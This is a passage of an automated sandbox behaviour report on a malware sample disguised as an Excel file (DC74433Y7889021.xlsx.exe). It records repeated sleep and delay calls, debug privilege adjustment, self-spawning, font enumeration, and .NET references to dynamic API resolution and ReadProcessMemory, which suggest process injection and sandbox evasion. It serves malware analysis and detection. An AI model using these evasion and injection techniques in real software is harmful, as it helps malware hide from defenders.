Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594951	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594624	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594515	Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Window / User API: threadDelayed 1845	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Window / User API: threadDelayed 7997	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Window / User API: foregroundWindowGot 1588	Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 5480	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 2640	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -599859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -599737s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -599609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -599499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -599390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -599281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -599171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -599062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597964s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597404s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597294s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596713s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -594951s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -594843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -594624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe TID: 7316	Thread sleep time: -594515s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599859	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599737	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599609	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599499	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599390	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599281	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599171	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 599062	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598843	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598624	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598296	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597964	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597404	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597294	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596713	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596374	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594951	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594624	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Thread delayed: delay time: 594515	Jump to behavior

Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4129215635.00000000007D9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Code function: 1_2_060E9548 LdrInitializeThunk,

1_2_060E9548

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.DC74433Y7889021.xlsx.exe.2d3a538.1.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.DC74433Y7889021.xlsx.exe.2d3a538.1.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.DC74433Y7889021.xlsx.exe.2d3a538.1.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Process created: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe "C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe"

Jump to behavior

Source: DC74433Y7889021.xlsx.exe, 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager@

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
